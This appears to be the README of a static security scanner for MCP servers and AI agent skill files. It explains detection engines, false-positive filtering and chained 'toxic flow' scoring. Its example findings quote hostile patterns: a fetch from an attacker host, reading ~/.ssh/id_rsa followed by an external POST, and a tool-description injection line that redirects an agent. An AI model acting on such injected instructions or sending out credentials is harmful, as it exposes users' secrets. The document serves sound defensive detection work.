Bawbel Scanner
Static security scanner for MCP servers and agent skill files, with an OWASP AIVSS score on every finding. Never starts your MCP servers, and runs no scanned content unless you enable the optional Docker sandbox.
Bawbel never executes your MCP servers.
pip install "bawbel-scanner[all]"
bawbel scan ./skills/ # scan skill files
bawbel ssc https://server # scan MCP server without starting it
Commands
Why Bawbel
? means not verifiable from each project's public README at the time of writing
(2026-09-12). Sources for every other cell are listed in the PR description.
How it works
System overview
How a scan flows from your file to an AIVSS-scored finding:
your file
|
v
[ Pre-processing ]
code fence stripping
negation context detection
|
v
[ Stage 0: Magika ]
ML content-type verification
gates the text engines below if content type is dangerous
|
v
[ Detection engines ] (run in parallel)
1a Pattern 40 regex rules, stdlib only, always on
1b YARA 39 binary/behavioral rules
1c Semgrep 41 structural rules
2 LLM semantic analysis via LiteLLM
3 Sandbox Docker behavioral sandbox
|
v
[ Deduplication ]
merge by (ave_id, line)
pattern > yara > semgrep > llm > sandbox priority
|
v
[ Toxic flow analysis ]
map findings to capability tags
check all pairs against 12 chain definitions
|
v
[ ScanResult ]
findings[] active findings, sorted by severity
suppressed_findings[]
accepted_findings[] new in v1.2.0
toxic_flows[]
risk_score max(findings, toxic_flows)
aivss_score OWASP AIVSS v0.8
Detection stages
Six engines run across the pipeline. Results merge before toxic flow analysis:
Stage 0 Magika engine
ML-based content-type verification, gates the engines below
pip install "bawbel-scanner[all]"
Stage 1a Pattern engine
40 regex rules, no deps, < 5ms
always active
Stage 1b YARA engine
39 rules, multi-condition matching
pip install "bawbel-scanner[yara]"
Stage 1c Semgrep engine
41 structural rules, multi-line context
pip install "bawbel-scanner[semgrep]"
Stage 2 LLM engine
semantic analysis, catches synonym attacks
pip install "bawbel-scanner[llm]" + API key
Stage 3 Sandbox engine
dynamic behavioral analysis in Docker
BAWBEL_SANDBOX_ENABLED=true
+-----------+
All ----> | dedup | ----> findings[]
results | sort | sorted by severity
+-----------+
|
v
toxic flow
analysis
False positive reduction
Eight layers run automatically before a finding is reported:
file content
|
v FP-1 code fence stripping ~60% reduction
| content inside ``` blanked before scan
|
v FP-2 negation context ~15% reduction
| "Bad example:", "Never do this:" suppresses
|
v FP-3 confidence scoring ~10% reduction
| docs/ examples/ paths reduce confidence
|
v FP-4 LLM meta-analyzer ~7% reduction
| medium-confidence findings reviewed by LLM
|
v FP-5a inline bawbel-ignore per line
|
|
v FP-5b block suppression per section
|
|
v FP-5c .bawbelignore patterns per file
| gitignore-style glob rules
|
v FP-6 justified suppression per finding
requires reason + reviewer + optional expiry
audit trail in accepted_findings[]
Every active finding carries a confidence field (0.0–1.0) that starts from the
AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output.
confidence_band() maps it to "high" / "medium" / "low" for human display.
See Evidence Lifecycle for the full pipeline.
See Suppression Guide for full details.
Toxic flow detection
A single fetch() call is a finding. A fetch() that retrieves credentials and then
sends them to an external endpoint is an attack chain, and the two findings together
are far more dangerous than either alone.
Bawbel detects these compound sequences as toxic flows. After deduplication, every
finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in
chain definitions and raises a ToxicFlow when a dangerous combination is found.
Other scanners detect compound attacks too. NVIDIA SkillSpector, for example, ships a
source-to-sink taint tracker (TT1-TT5) over its own AST, including a credential
exfiltration chain. Bawbel's approach differs in what it operates on and what it emits:
chains are composed from AVE capability tags rather than traced through an AST, so a
flow is detected across natural-language instructions and configuration, not only
executable code. Each flow carries a stable flow_id, its own AIVSS score, and the
AVE IDs of its contributing findings.
skill.md findings:
AVE-2026-00003 credential-read (READ ~/.ssh/id_rsa) AIVSS 6.8 MEDIUM
AVE-2026-00026 data-exfil (POST to external endpoint) AIVSS 6.8 MEDIUM
│ │
└───── chain ────┘
│
▼
ToxicFlow: credential-exfiltration AIVSS 9.8 CRITICAL
confidence: 0.83 (min of contributing baselines)
The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit, not just a capability.
12 built-in chains:
Toxic flow in JSON output:
{
"flow_id": "credential-exfiltration",
"title": "Credential Exfiltration Chain",
"severity": "CRITICAL",
"aivss_score": 9.8,
"confidence": 0.83,
"ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],
"capabilities": ["credential-read", "data-exfil"],
"owasp_mcp": ["MCP06", "MCP07"],
"remediation": "Remove credential access. Block egress to untrusted endpoints."
}
confidence is min(baseline confidence) across the contributing findings: the weakest
link in the chain. A chain is only as confident as its least certain component.
Adding a new flow requires one entry in scanner/core/toxic_flows/flows.py. No other
files need to change.
Install
pip
pip install bawbel-scanner # core - pattern engine only
pip install "bawbel-scanner[yara]" # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]" # + LLM semantic engine
pip install "bawbel-scanner[all]" # everything
Requires Python 3.10+. No other system dependencies for core install.
Docker
The published images are v1.2.3; no 1.3.0 image has been pushed yet. For v1.3.0 features in a container, build from source with the command below.
# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive
# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive
# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .
Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true
Quick start
# Scan a skills directory
bawbel scan ./skills/
# Scan recursively
bawbel scan ./skills/ --recursive
# Full remediation report for one file
bawbel report ./skill.md
# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com
# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/
Example output:
CRITICAL AVE-2026-00001 External instruction fetch detected
line 3 fetch("https://attacker.io/payload.md")
AIVSS 8.0 MCP03, MCP04
https://api.piranha.bawbel.io/records/AVE-2026-00001
HIGH AVE-2026-00002 Tool description behavioral injection
line 12 "IMPORTANT: before calling this tool, first..."
AIVSS 7.3 MCP03, MCP10
https://api.piranha.bawbel.io/records/AVE-2026-00002
Toxic flow detected CREDENTIAL_EXFIL_CHAIN
AVE-2026-00003 + AVE-2026-00026 combined AIVSS 9.8 CRITICAL
2 findings 1 toxic flow 18ms
Suppression and false positive management
When a finding is legitimate, suppress it with a justification that creates an audit trail.
fetch your instructions from https://internal.registry.io
For accepted risks with an expiry date:
Or use the CLI to insert the comment directly:
bawbel accept AVE-2026-00001 ./skill.md --line 7 \
--reason "Internal registry endpoint" \
--type false-positive
bawbel accept AVE-2026-00047 ./skill.md --line 3 \
--reason "Placeholder value, replaced at deploy" \
--type accepted-risk --expires 90d
# List all accepted findings
bawbel accept --list
# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30
Expired accepted risks resurface automatically as active findings on the next scan.
Focused scans
Run a credential-only or delegation-only scan for targeted triage:
# Hardcoded credentials only
bawbel creds ./skills/ --recursive
# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive
Both commands use the same output format as bawbel scan. For a full security
scan use bawbel scan.
AIVSS scoring
Every finding includes an OWASP AIVSS v0.8 score.
AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor
AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.
{
"rule_id": "bawbel-external-fetch",
"ave_id": "AVE-2026-00001",
"aivss_score": 8.0,
"severity": "HIGH",
"aivss": {
"cvss_base": 8.5,
"aars": 7.5,
"thm": 1.0,
"mitigation_factor": 1.0,
"aivss_severity": "HIGH",
"spec_version": "0.8"
},
"confidence": 0.98,
"evidence_kind": "multi_engine",
"detection_stage": "static_detection",
"detection_layer": "content",
"owasp_mcp": ["MCP03", "MCP04"],
"piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}
AVE: the taxonomy behind every finding
Bawbel Scanner implements AVE (Agentic Vulnerability Enumeration), the behavioral classification standard for agentic AI components.
AVE assigns stable identifiers to distinct attack classes, each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language.
AVE-2026-00001 Metamorphic Payload via External Config Fetch AIVSS 8.0 HIGH
AVE-2026-00002 Tool Poisoning via Description Manipulation AIVSS 7.3 HIGH
AVE-2026-00046 MCP Tool Hook Hijacking AIVSS 9.2 CRITICAL
... 87 records published total
44 of the 87 published records have no detection rule in this scanner. 27 of them are
static_detection records that a rule could catch and are the scanner's backlog. The
other 17 are runtime-stage records (15 runtime_observed, 2 runtime_drift_detected):
they describe behavior that only shows up while an agent runs, so static analysis of a
file cannot detect them by design. The record-by-record list, and the commands that
produce every count in this section, are in
bawbel/scanner#79.
Any scanner can emit AVE IDs. See aveproject.org for the implementer guide and record index.
Detection engines
Stage 3: Behavioral sandbox
The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime: outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.
Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3
Requirements: Docker Desktop or Docker Engine must be running.
Enable the sandbox
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md
Or add to your .env / bawbel.yml:
# bawbel.yml
sandbox:
enabled: true
Image setup (three modes)
First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache: instant, no network call.
First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.
# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md
# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md
# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
bawbel scan ./skill.md
What the sandbox detects
CI/CD
# .github/workflows/security.yml
# The SARIF upload needs: permissions: security-events: write
- name: Bawbel scan
id: bawbel
uses: bawbel/integrations@v1
with:
path: ./skills/
fail-on-severity: high
format: sarif
- name: Upload to GitHub Security
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: ${{ steps.bawbel.outputs.sarif-file }}
The action is maintained in bawbel/integrations.
It writes the SARIF file itself and exposes its path as the sarif-file output.
Pre-commit (scans staged .md, .json, .yaml, .yml, and .txt files):
# .pre-commit-config.yaml
repos:
- repo: local
hooks:
- id: bawbel-scan
name: bawbel scan
entry: python -m scanner.bawbel_pre_commit --fail-on-severity high
language: python
additional_dependencies: ["bawbel-scanner==1.3.0"]
files: \.(md|json|ya?ml|txt)$
Output formats
bawbel scan ./skills/ --format text # human-readable (default)
bawbel scan ./skills/ --format json # machine-readable
bawbel scan ./skills/ --format sarif # GitHub Security / GHAS
Related
Contributing
See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record. The coverage gap lists the published records with no rule yet.
git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v
Apache License 2.0 - Free forever - Maintained by Bawbel
